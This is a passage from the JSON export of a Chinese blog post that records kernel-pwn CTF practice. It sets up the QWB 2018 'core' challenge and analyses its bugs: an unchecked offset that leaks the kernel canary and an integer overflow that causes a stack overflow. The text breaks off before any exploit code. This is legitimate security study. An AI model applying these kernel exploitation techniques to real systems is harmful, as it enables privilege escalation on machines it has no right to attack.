{"id":1312,"date":"2026-02-09T11:03:54","date_gmt":"2026-02-09T03:03:54","guid":{"rendered":"http:\/\/n0ps1ed.top\/?p=1312"},"modified":"2026-02-09T11:03:56","modified_gmt":"2026-02-09T03:03:56","slug":"kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/","title":{"rendered":"Kernel Pwn \u505a\u9898\u8bb0\u5f55"},"content":{"rendered":"\n<p>\u4e3b\u8981\u662f\u8ddf\u7740ctfwiki\u5b66\u3002<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%A0%88%E6%BA%A2%E5%87%BA\" title=\"\u6808\u6ea2\u51fa\">\u6808\u6ea2\u51fa<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#Kernel_Pwn_CTFSHOW_356%EF%BC%88%E5%BC%BA%E7%BD%91%E6%9D%AF_2018_%E2%80%93_core%EF%BC%89\" title=\"Kernel Pwn | CTFSHOW 356\uff08\u5f3a\u7f51\u676f 2018 &#8211; core\uff09\">Kernel Pwn | CTFSHOW 356\uff08\u5f3a\u7f51\u676f 2018 &#8211; core\uff09<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86\" title=\"\u57fa\u7840\u77e5\u8bc6\">\u57fa\u7840\u77e5\u8bc6<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90\" title=\"\u6f0f\u6d1e\u5206\u6790\">\u6f0f\u6d1e\u5206\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E8%B0%83%E8%AF%95\" title=\"\u8c03\u8bd5\">\u8c03\u8bd5<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8\" title=\"\u6f0f\u6d1e\u5229\u7528\">\u6f0f\u6d1e\u5229\u7528<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%97%A0%E4%BF%9D%E6%8A%A4\" title=\"\u65e0\u4fdd\u62a4\">\u65e0\u4fdd\u62a4<\/a><ul class='ez-toc-list-level-6' ><li class='ez-toc-heading-level-6'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%96%B9%E6%B3%95%E4%B8%80_ret2usr\" title=\"\u65b9\u6cd5\u4e00 ret2usr\">\u65b9\u6cd5\u4e00 ret2usr<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-6'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%96%B9%E6%B3%95%E4%BA%8C_kernel_rop\" title=\"\u65b9\u6cd5\u4e8c kernel rop\">\u65b9\u6cd5\u4e8c kernel rop<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E5%BC%80%E5%90%AFKPTI%E4%BF%9D%E6%8A%A4\" title=\"\u5f00\u542fKPTI\u4fdd\u62a4\">\u5f00\u542fKPTI\u4fdd\u62a4<\/a><ul class='ez-toc-list-level-6' ><li class='ez-toc-heading-level-6'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%96%B9%E6%B3%95%E4%B8%80_ret2usr-2\" title=\"\u65b9\u6cd5\u4e00 ret2usr\">\u65b9\u6cd5\u4e00 ret2usr<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-6'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%96%B9%E6%B3%95%E4%BA%8C_kernel_rop-2\" title=\"\u65b9\u6cd5\u4e8c kernel rop\">\u65b9\u6cd5\u4e8c kernel rop<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E5%BC%80%E5%90%AFSMEP%E3%80%81SMAP\" title=\"\u5f00\u542fSMEP\u3001SMAP\">\u5f00\u542fSMEP\u3001SMAP<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%89%A7%E8%A1%8C%E5%8F%AF%E6%8E%A7%E6%8C%87%E9%92%88\" title=\"\u6267\u884c\u53ef\u63a7\u6307\u9488\">\u6267\u884c\u53ef\u63a7\u6307\u9488<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#CTFSHOW_357_MINI-LCTF2022_%E2%80%93_kgadget\" title=\"CTFSHOW 357 (MINI-LCTF2022 &#8211; kgadget)\">CTFSHOW 357 (MINI-LCTF2022 &#8211; kgadget)<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%83%85%E5%BD%A21_%E6%97%A0%E4%BF%9D%E6%8A%A4\" title=\"\u60c5\u5f621 \u65e0\u4fdd\u62a4\">\u60c5\u5f621 \u65e0\u4fdd\u62a4<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%83%85%E5%BD%A22_%E5%BC%80%E5%90%AFKPTI%E3%80%81SMEP%E3%80%81SMAP\" title=\"\u60c5\u5f622 \u5f00\u542fKPTI\u3001SMEP\u3001SMAP\">\u60c5\u5f622 \u5f00\u542fKPTI\u3001SMEP\u3001SMAP<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#ret2usr\" title=\"ret2usr\">ret2usr<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#ret2dir\" title=\"ret2dir\">ret2dir<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#UAF\" title=\"UAF\">UAF<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#CTFSHOW_358CISCN_%E2%80%93_2017_%E2%80%93_babydriver\" title=\"CTFSHOW 358(CISCN &#8211; 2017 &#8211; babydriver)\">CTFSHOW 358(CISCN &#8211; 2017 &#8211; babydriver)<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90\" title=\"\u6f0f\u6d1e\u89e3\u6790\">\u6f0f\u6d1e\u89e3\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2\" title=\"\u6f0f\u6d1e\u5229\u7528\">\u6f0f\u6d1e\u5229\u7528<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%96%B9%E6%B3%95%E4%B8%80_%E7%9B%B4%E6%8E%A5UAF%E4%BF%AE%E6%94%B9cred%E7%BB%93%E6%9E%84%E4%BD%93\" title=\"\u65b9\u6cd5\u4e00 \u76f4\u63a5UAF\u4fee\u6539cred\u7ed3\u6784\u4f53\">\u65b9\u6cd5\u4e00 \u76f4\u63a5UAF\u4fee\u6539cred\u7ed3\u6784\u4f53<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#%E6%96%B9%E6%B3%952_kernel_rop\" title=\"\u65b9\u6cd52 kernel rop\">\u65b9\u6cd52 kernel rop<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#RWCTF2023_%E4%BD%93%E9%AA%8C%E8%B5%9B_%E2%80%93_Digging_into_kernel_3\" title=\"RWCTF2023 \u4f53\u9a8c\u8d5b &#8211; Digging into kernel 3\">RWCTF2023 \u4f53\u9a8c\u8d5b &#8211; Digging into kernel 3<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"http:\/\/n0ps1ed.top\/index.php\/2026\/02\/09\/kernel-pwn-%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95\/#RWCTF2023_%E4%BD%93%E9%AA%8C%E8%B5%9B_%E2%80%93_Digging_into_kernel_1_2\" title=\"RWCTF2023 \u4f53\u9a8c\u8d5b &#8211; Digging into kernel 1&amp;2\">RWCTF2023 \u4f53\u9a8c\u8d5b &#8211; Digging into kernel 1&amp;2<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%A0%88%E6%BA%A2%E5%87%BA\"><\/span>\u6808\u6ea2\u51fa<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Kernel_Pwn_CTFSHOW_356%EF%BC%88%E5%BC%BA%E7%BD%91%E6%9D%AF_2018_%E2%80%93_core%EF%BC%89\"><\/span>Kernel Pwn | CTFSHOW 356\uff08\u5f3a\u7f51\u676f 2018 &#8211; core\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86\"><\/span>\u57fa\u7840\u77e5\u8bc6<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>CTFSHOW 356 \u8fd9\u4e2a\u9898\u5176\u5b9e\u5c31\u662f\u5f3a\u7f51\u676f 2018 &#8211; core\uff0c\u7a0d\u5fae\u6539\u4e86\u70b9\u53d8\u91cf\u540d\u3002<\/p>\n\n\n\n<p>\u5728\u62ff\u5230\u9898\u76ee\u540e\u89e3\u538b\uff0c\u5f97\u5230\u4e09\u4e2a\u6587\u4ef6\uff1abzImage\u3001rootfs.cpio\u3001run.sh\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"189\" height=\"134\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1313\"\/><\/div><\/figure>\n\n\n\n<p>run.sh\u662f<strong>\u542f\u52a8\u811a\u672c<\/strong>\uff0cbzImage\u662f\u538b\u7f29\u540e\u53ef\u4ee5\u76f4\u63a5\u7528\u7684<strong>\u5185\u6838\u955c\u50cf<\/strong>\uff0crootfs.cpio\u662f<strong>\u6587\u4ef6\u7cfb\u7edf<\/strong>\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u5173\u6ce8run.sh\uff0c\u8fd9\u662fqemu\u542f\u52a8\u811a\u672c\uff0c\u91cc\u9762\u4f1a\u63d0\u5230\u5f00\u542f\u4e86\u54ea\u4e9b\u4fdd\u62a4\uff0c\u6bd4\u5982kaslr\u5c31\u662f\u5f00\u4e86kaslr\uff0cnokaslr\u5c31\u662f\u6ca1\u5f00\u3002panic=1\u4ee3\u8868\u5d29\u6e83\u540e1s\u4f1a\u91cd\u542f\uff0c\u5efa\u8bae\u6539\u5927\u70b9\u6216\u8005\u76f4\u63a5\u6539\u62100\u53d6\u6d88\u91cd\u542f\uff0c\u4e0d\u7136\u5d29\u6e83\u9519\u8bef\u4f1a\u4e00\u95ea\u800c\u8fc7\u770b\u4e0d\u6e05\u695a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"965\" height=\"245\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1314\"  sizes=\"auto, (max-width: 965px) 100vw, 965px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u4f7f\u7528cpio\u547d\u4ee4\u89e3\u538brootfs.cpio\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mkdir rootfs_root\ncd rootfs_root\ncpio -idm &lt; ..\/rootfs.cpio<\/code><\/pre>\n\n\n\n<p>\u89e3\u538b\u540e\u8fdb\u5165\u6587\u4ef6\u7cfb\u7edf\uff0c\u9996\u5148\u5173\u6ce8init\u6587\u4ef6\uff0c\u91cc\u9762\u80fd\u660e\u663e\u5730\u770b\u51fa\u52a0\u8f7d\u7684\u9a71\u52a8\u6a21\u5757\uff0c\u8fd9\u4e2a\u4e00\u822c\u5c31\u662f\u6f0f\u6d1e\u70b9\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"148\" height=\"46\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1315\"\/><\/div><\/figure>\n\n\n\n<p>\u5176\u6b21\u662fvmlinux\u6587\u4ef6\uff0c\u8fd9\u4e2a\u662f\u539f\u59cb\u5185\u6838\u955c\u50cf\uff0cbzImage\u662f\u538b\u7f29\u5904\u7406\u540e\u7684vmlinux\uff0c\u540e\u9762\u627egadget\u548c\u627e\u51fd\u6570\u504f\u79fb\u90fd\u662f\u4ecevmlinux\u91cc\u9762\u627e\u7684\u3002vmlinux\u548cbzImage\u7684\u5173\u7cfb\u8be6\u60c5\u53ef\u53c2\u8003\uff1a<\/p>\n\n\n\n<p>https:\/\/blog.csdn.net\/hanxuefan\/article\/details\/7454352<\/p>\n\n\n\n<p>\u5982\u679c\u6ca1\u6709vmlinux\u6587\u4ef6\u7684\u8bdd\uff0c\u9700\u8981\u501f\u52a9\u5de5\u5177\u6765\u628abzImage\u8f6c\u6210vmlinux\u4ee5\u4fbf\u63d0\u53d6gadget\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wget https:\/\/raw.githubusercontent.com\/torvalds\/linux\/master\/scripts\/extract-vmlinux\nchmod +x extract-vmlinux\n.\/extract-vmlinux bzImage &gt; vmlinux\nROPgadget --binary .\/vmlinux &gt; .\/ropgadgets<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90\"><\/span>\u6f0f\u6d1e\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u8be5\u6a21\u5757\u901a\u8fc7\/proc\/show\u4ea4\u4e92:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"732\" height=\"154\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1317\"  sizes=\"auto, (max-width: 732px) 100vw, 732px\" \/><\/div><\/figure>\n\n\n\n<p>ioctl\u4ea4\u4e92\u4e3b\u6a21\u5757\uff0c\u529f\u80fd1\u662f\u8c03\u7528show_read\uff0c\u529f\u80fd2\u662f\u4efb\u610f\u8d4b\u503c\u7ed9off\u53d8\u91cf\uff0c\u529f\u80fd3\u662f\u8c03\u7528show_copy_func\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"807\" height=\"443\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1316\"  sizes=\"auto, (max-width: 807px) 100vw, 807px\" \/><\/div><\/figure>\n\n\n\n<p>show_read\u51fd\u6570\u5982\u4e0b\u6240\u793a\uff0c\u6f0f\u6d1e\u70b9\u5728copy_to_user(a1, &amp;v5[off], 64LL);\uff0c\u901a\u8fc7\u529f\u80fd2\u6539\u53d8off\u7684\u503c\u4e4b\u540e\u5c31\u53ef\u4ee5\u628a\u4efb\u610f\u5730\u5740\u5904\u7684\u503ccopy\u5230\u7528\u6237\u6001\u7684a1\uff0c\u5373ioctl\u7684\u7b2c\u4e09\u4e2a\u53d8\u91cf\uff0c\u8fd9\u4e2a\u7528\u6765\u6cc4\u9732\u5185\u6838\u7684canary\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"735\" height=\"567\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1318\"  sizes=\"auto, (max-width: 735px) 100vw, 735px\" \/><\/div><\/figure>\n\n\n\n<p>show_copy_func\u51fd\u6570\u5982\u4e0b\uff0c\u5b58\u5728\u6574\u6570\u6ea2\u51fa\uff0ca1\u53d6\u8d1f\u6570\u5373\u53ef\u7ed5\u8fc7\u5224\u65ad\uff0c\u540e\u7eed\u901a\u8fc7qmemcpy\u628aioctl\u7b2c\u4e09\u4e2a\u53c2\u6570\u5199\u5230\u6808\u4e0av2\uff0c\u9020\u6210\u6808\u6ea2\u51fa\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"612\" height=\"462\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-6.png\" 